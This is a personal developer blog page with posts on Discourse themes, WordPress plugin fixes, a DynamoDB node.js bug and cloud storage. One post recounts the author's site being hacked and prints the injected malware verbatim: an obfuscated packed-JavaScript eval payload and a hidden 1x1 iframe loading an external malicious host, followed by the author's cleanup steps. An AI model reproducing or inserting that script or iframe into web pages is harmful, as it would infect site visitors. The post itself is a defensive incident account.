Chomper Stomping jQuery/JavaScript/CSS 3/HTML 5, Java/PHP/Python/ActionScript, Git, Chrome/Firefox Extensions, Wordpress/Game/iPhone App Development and other random techie tidbits I've collected

12Feb/130

Discourse Themes

logo

Discourse Forum Themes are going to be a thing the way WordPress Themes are a thing (I'm betting). Themeforest sells WordPress themes, and you can make a very comfortable living if you've got a premium WordPress Theme for sale on ThemeForest. If you want to buy a premium discourse theme, I'm betting eventually you'll be able to do that there as well.

After a cursory look at Discourse, I realized that you don't need to learn Ember and write an Ember theme. Theoretically you could write a custom CSS theme for Discourse, but, I don't think that's where the real money will lie. Since Discourse is really split into two separate parts (an app and a back-end) that talk to each-other via a REST api, it's like a theme developers dream come true. You can write the front end app in anything you want, as long as it talks to the RESTful back-end. This means, if you wanted, you could create a PHP driven Discourse theme. More likely, you will probably want to create some sort of Backbone Marionette driven Discourse theme that interfaces with the JSON REST api (which is written in Ruby). Out of the gate, their themes are Ember js and CoffeeScript; but since that isn't quite as ubiquitous (and hopefully never will be) as just plain old javascript or PHP or something, I don't think themes written in that standard will take off.

JavaScript based Discourse Theme templates written with a common library (like Backbone with Twitter Bootstrap) are going to be a potential candidate for some good money. If you can create a good boilerplate discourse theme template that discourse theme authors can purchase and build on top of, that could be a valid business model as well. If I do any Discourse theming, this is most likely what I would do. A boilerplate Discourse theme template, with one reference implementation theme, written in JavaScript with Backbone, Marionette, Underscore, jQuery, and Bootstrap and available for Discourse theme authors to purchase and get up and running with (especially if they want more than just a CSS theme, but don't want to learn EmberJS and CoffeeScript).

4Jul/123

Slider Video Embed

Screen Shot 2012-07-04 at 11.25.49 PM

If you are looking to embed video into the slider using the continuum refactor, here's how:

1) Go to the video on Youtube or Vimeo
2) Copy the "<iframe..." portion of the embed code
<iframe src="http://player.vimeo.com/video/44143357" width="500" height="356" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe>
3) Create a new post/review
4) Create a custom field named "vimeo", "vimeofull", "youtube" or "youtubefull"
5) Paste the embed code into the custom field
6) Adjust the size the video displays at (width should be around 460 and height should be around 340 for "slider A")
7) Tag the post/review with the tag "spotlight"

Note: There is currently a bug with the slider that causes it to continue rotating while the video is playing. This will be resolved by 9/15/12. Bug has been fixed and is no longer present in v12.0918. However, slider will only pause while your mouse is over it. Working on another change to make it so that the slider will pause once you start playing a video and will unpause only once you interact with it again.

2May/120

Douglas Crockford – JavaScript the Good Parts

Screen Shot 2012-05-02 at 10.23.54 AM

Really good lecture on JavaScript, especially if you are new to the language from another language like Java.

Tagged as: No Comments
26Apr/120

Let the Cloud Wars Begin!!!

cloudwars

This is all going the same direction. SugarSync, Google Drive, Dropbox & any new contenders (whatever Microsoft's offering is called...) are all going to end up with unlimited storage for the same price point per year, so, the sooner one of them calls it and just offers that, the better that one will do.

They need to just do that, get it out of the way, and then start developing some really compelling features, the way drop box did with their easy share links.

Got my Google Drive setup today and downgraded my SugarSync account.

I have 87GB in my Google Drive account, for the low low price of $20/year because I happened to upgrade my Picasa storage several years ago. So, GDrive auto-wins for me until someone else can beat that price, or offer some amazing compelling feature that I just can't pass up.

Tagged as: No Comments
26Apr/120

dynode Batch Get Item

logo

Working a lot with node.js, dynode and dynamoDB recently. Still trying to wrap my head around it all. Had a horrible time getting dynode.batchGetItem to work. Here is the error I was getting:

{ name: 'AmazonError',
type: 'ValidationException',
serviceName: 'com.amazon.coral.validate',
message: 'One or more parameter values were invalid: Mismatching attribute types between location and schema',
statusCode: 400,
retry: [Getter] }

Basically it came down to that the range selector I was using was being passed through as a string instead of a number. This is *even though* I am chaining queries, having just gotten the range selector out of another table and am immediately using it in the query that is failing. The way I was able to fix it was by casting it from a string into a number (the way Amazon expects it to come across):

results.Items.forEach(function(element, index, array){
    console.log(element);

    element.events.SS.forEach(function(ielement, iindex, iarray){
        var batchVars = {"events": {keys:[ {hash: ielement, range: parseInt(element.timestamp.N)} ]}};
        dynode.batchGetItem(batchVars, events.debugOutput);
    }, query);
}, query);

The crucial part here being this line:
{keys:[ {hash: ielement, range: parseInt(element.timestamp.N)} ]}

Note the "parseInt" function there that gets run on the timestamp that was pulled out of the previous query results. That's the key to getting this to work.

UPDATE:
The dynode author asked me to submit an issue, so, I did!

https://github.com/Wantworthy/dynode/issues/18

I had just assumed this was a quirk of the library. I feel way too new to all of this to know what is a bug and what is just me doing something stupidly...

30Dec/110

WP phpBB Bridge: Warning: mysql_set_charset() expects parameter 2 to be resource, boolean given

mysqlerror

Warning: mysql_set_charset() expects parameter 2 to be resource, boolean given in wp-content/plugins/wp-phpbb-bridge/inc/widgets/wpbb_topics_widget.php on line 149

This is an error caused by the fact that the WP phpBB Bridge plugin is naively written in places.

For instance, in this case the plugin authors don't expect you to be using a socket instead of a port. Looking at the documentation for mysql-pconnect you see that you can either use combination of hostname:port or hostname:socket. Since they are pulling the setup info straight from the phpBB config file, you have little to no control over the values there (especially if already configured).

What they ought to do is check to see if $port isset() && !empt() and only then append the ":" . $port. But instead, they tag on ":" to your db host EVERY TIME. This breaks your setup if you host is defined in phpBB with a socket. Most of what I just said sort of sounds like gibberish even to me, so, basically, if you are getting this error, the problem is actually line 147. Replace the current line 147 with this:

14Dec/115

Events Calendar Pro Nav Formatting Messed up on Empty Calendar

The Events Calendar Pro (from http://tri.be/) has a few problems.

If you are trying to figure out why a calendar with no events in that month has completely screwed up header navigation, just put this line of code inside of table.php in the top of the display_day function (put it directly before the for loop):

$thisisherebecausethispluginSUCKSdontremoveit = has_excerpt() ? TribeEvents::truncate($post->post_excerpt) : TribeEvents::truncate(get_the_content(), 30);

This basically just runs some "truncate" function on the "TribeEvents" object. For some reason this truncate function magically fixes the header nav display issues.

29Nov/112

OH SHNIKES, WE’VE BEEN HAXORED!!!

warning

Yes. It finally happened. After... 6 years? on the web I finally got hacked.

Two domains affected:

http://cmcculloh.com

http://hallelujahbutton.com

(this also of course affected all sub-domains of cmcculloh.com, such as blog.cmcculloh.com).

This morning I went to my site and was told by Chrome that I wasn't allowed to go in because my site was going to infect my machine with H.I.V. (well, not really, but that's how it felt).

Here's the screen I saw:

THE VERY FIRST THING I DID WAS WENT AND CHANGED ALL OF MY PASSWORDS. I even finally got around to creating multiple users and separating all domains/sub-domains into their own user accounts. This way if cmcculloh.com gets cracked again, blog.cmcculloh.com will have less chance of also being compromised.

It took me quite a while to figure out what the culprit was (and I'm still not 100% sure) but then I realized that hallelujahbutton.com is exactly 1 page long it was really easy to find a very likely suspect. This line of code:

<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\x5C\x62'+e(c)+'\134\142','g'),k[c]);return p;}('\x56\40\71\75\x55\x20\x54\x28)\73\71\x2EY\50\x39\x2E\130\50)\53\62)\x3BW\50\123.\x4F&\46\151\56u.N\x28\47M\x5C\x52\\c\x3D\47\51\x3D\75-\61\x29\173\x69\x2E\121\x28\'\\\120\134\x34\\\141\x5C\x318\\\x31\67\x5C\61\x36\x5C4\134\162\x5C\70\1341\x62\134\146\134\x62\'\x2B\x30.\x37(0.\x36\50)*\63\53\63\51\53\'\134\142\40h\\\61a\134\x31\x39\134\x31\65\\x\75\x5C\x22\x27\x2B0\x2E\67\x280\x2E\x36\x28\51\523+\x33\51+\47\x5C\42 \x5C\61\61\x5C\145\\10\\Z\134\x6A\\c\x5C\65\\j=\\\42\x5C\61\64\134\"\x5C\61\63\13412\x5C\x44\\\164\x5C5\134f\\\"B\\m\\4\\C\\\112\134n\134I\\o\134\x71\x5C\113\\F\\E\x5Cw\x5C8\x5C\x35\\\x79\\H\134a\x5C\70\x3A\\\x47\x27\530\x2E7\500.\x36\x28\x29*\x33\53\166)+\x27p\x5C\114\x5C\x79\x5C\x41\\\61\x63\134\x31\104\47\x2B\x30\x2E\x37(\x30\x2E6\x28)*\63\53v\x29+\47\\d\x5C\x67\x5C\x22\\1\x43\\\61\105\134f\\\61\x47\x5C\170\\\x38\134\144\72\1341\106\x5C\154\134g\x5C\x31\171\1341\x78\x5C1z\x5C1\102\x5C\61A\134\164.\\\x72\x5C\143\\\x31M\x5C\x6D\56\x31\x50\x5C\x6C\x5C\145\\\x6F\134\x34\134n\134\x31\117\134d\\\x31L\x5C\x31I\x5C\x7A\x5C\61\116\x5Ck\x5C\163\\\61\x4B\x5C\61\112\\\x31\x48\134\61j\\\61\x69\134\61\x6B\\1m\\q\1341l\1345\\1e\134\141\134s\\1\x64\134b\76\134\x31\x66\57\1341\150\134\141\\1\147\x5C\x31\164\x5C\61s\47);i.\165=\x27\x31\165\\\61\x77\x5Cw\\e\x5C\x31v\x5C\153\'+\x30.\67\50\x30.6\50)*\61o\51\53\x27\134\61\x6E\134\61\160\134\65\x5C\147\\\x7A\\\64\134\152\1341\162\134k\47+9.\61\x71\x28)\x7D',62,114,'\115\x61\x74h\174||10\x30\x7C\x78\x36\71|\61\64\65\x7C\x72and\157m|\x66\x6C\157or|\x78\674\174\145xp\x7C\61\64\66|4\x32|\x78\664\174\x316\60\x7C\1706\x44\174\x78\63\x44|1\x370\174\x7C\x64oc\165\x6De\x6Et\x7Cx\67\62\174\67\x35\x7C5\x37|\170\x37\x33\174x6\x45\x7C1\x34\x31\174\174\170\662\1741\644\1741\x343|\1706\103\174c\157\157\153ie|2\x30\60\174\61\x36\x35\x7C\616\64\174x\63\102\x7Cx\x370\x7C16\x34\x6F\160\174\x70\157\174\x787\64\x69\x7C\6171|1\x35\x34\174\x78\66\106|\655\x7C1\x354\145\x7Cx3A\x7C\615\67\x7C\x3163\174\x78\x378\x7C\x5F_u\174in\144\x65\x78\x4F\146\x7C\x63\157\157\153ieE\156a\142\x6Ce\x64|74\174w\162it\145\174\x78\66\104\x74|\x6E\x61vigat\157r|\104a\x74e\x7C\x6E\x65w\x7Cva\x72\174\x69\146\x7C\x67\x65\164\x44\141t\145|\x73\x65\x74D\141t\145\x7C\170\x362\x6F\174\170\x365\174\170\x36\x36\162\141\174\x31\x36\63\164\x7C\170\620\x7C\x360\174\6150\x7C40\167\x7Cx6D\145\1741\66\x32a\174\x786\x37\x7C1\645\x69|\x78\668\1747\x32|\x365\174x30|x\63\x43|\1707\x32a\x7C\61\x351|x\x33\657\x7C\170\633\x7C\1703\65\x7C\x78\63\x38\174\170\x337\174\x37\63\x7C\7199\719\x399|40\174to\x55\124C\x53t\x72\151ng\x7C\x31\64\65\163|\170\63E\174\x31\x35\x35e\x7C\137|x\674\144|\170\x35F|16\63\155\174x\x36\x31\174\6161\174x69\145|\170\66\64\163\174\x78\62\x30\163r\x7Cx\62D\x7C\x78\66\63|\x78\62F\1744\x32\150\x7Cx3\x31\174\x783\x46\174\x7834\x7C67\x7C\x78\x36\70\x70|1\x35\x36|\x786\x31g\x65\174\65\x36\174\165\x73'.split('|'),0,{}))</script>
<iframe src="http://xmtudaac.cz.cc/?go=1" width="1" height="1"></iframe>

(I added a line break for legibility)

EEEEEWWWW!!!!!! I got pwned!!!

Not 100% sure if it is the iframe *and* the script, or just the iframe.

How did I fix it?

ssh'ed into the site and ran this command "grep -ir function\(p,a,c,k,e,d\) *". Found that it was in 46 files. Downloaded the entire site and then did a global find/replace in Sublime Text (Ctrl + Shift + h) on the entire script (that I pasted above) and replaced it with nothing. Then I did a follow up search on "function(p,a,c,k,e,d)" again to confirm it was cleaned. Then I deleted the contents of my site on the server and re-uploaded everything I wanted up there.

So, how did this happen? Who knows. I definitely wasn't the only one. I had, within the last week, used a Chrome App called ShiftEdit and given it my ftp credentials, so I initially thought it might have been them somehow. But then I realized that I share my server with at least 100 other sites. Chances are 99% of those people don't know anything about security, and a good 20 of them probably use "password1" as their password. If any of those people got hacked, it's just a small step once you're on the box to wrangle root access and run a shell script that eats HTML documents and poops them out with your script inside of them (no, I don't know how to do this, but I could most likely be doing it by the end of the week were I so nefariously inclined. It's not hard. USE A GOOD PASSWORD and DON'T REUSE IT ACROSS SITES).

So, anywho, I have cleaned my site and submitted my site to Google for verification so that we can get this error page back down. DON'T click the "proceed anyway" link. Because I'm just a guy and I could still be infected and not know it. Always just click the "go back" button. Once Google has OK'd it, the site will become available (as hallelujahbutton.com now has).

THANK YOU GOOGLE!!! YOU'RE AWESOME!!! Except that I *really* wish your error pages were more specific on EXACTLY what the problem was instead of making me hunt and hunt for it.

Also, I've deleted hallelujahbutton.com and set the domain name to expire. I completely forgot it existed and am too busy to want to deal with it anymore so, pruned!

23Nov/110

WordPress Settings API – Adding Options to Existing Page

blue-xl

Adding new options to an existing page in the dashboard in wordpress can be maddening. I've literally spent 15+ hours dealing with this horrible API at this point. To the point where I wrote two different wrappers for it.

Here are some notes chiseled along the way for any poor soul following me down this obtuse path.

Today I'll focus on adding options to an existing page. Hopefully soon I'll do one on making a new page.

Checklist/Overview:
1. Hook into the admin init action (add_action('admin_init'))
2. Create your section (add_settings_section)
3. Output hidden fields so settings will save (settings_fields)
4. Create your fields (add_settings_field and register_setting)

Your options will be available through the usual "get_option" means...

Step 1) Hook into the admin init action:

Step 2) Create your init function (that you just hooked into the admin_init action):

Step 3) Create your own section register API

Step 4) Create your section callback functions

It is really annoying that the API doesn't allow you to pass params to this callback function, which means you have to define each one individually...

Step 5) Create your own field register API

Step 6) Create your global callback function

Step 7) Register your section(s)

This goes in that init function you made in step 2

Step 8) Register your field(s)

This goes in that init function you made in step 2

Here's an example of a completed version of all this. This one adds a crap ton of custom thumbnail size options to the media panel. It is a really bad example as it is overly complex:

22Oct/110

Teaser of things to come…

custom_ratings

Lots going on at ChomperStomp right now.

I've been up to my eyeballs in work and in babies (3 month old and 2.5 year old).

Here's a little teaser for something big I'm working on:
User Ratings!
User Ratings, hearts AND stars!
User Ratings, OPTIONS!!!!
User Ratings!

That's right, custom user ratings in Continuum Coming November 1st! (will require either Continuum 1.9 or Continuum Refactor 11.1101, both coming 11/01/11)

Haven't settled on the price yet, probably between $50 and $100 depending on how much longer it takes...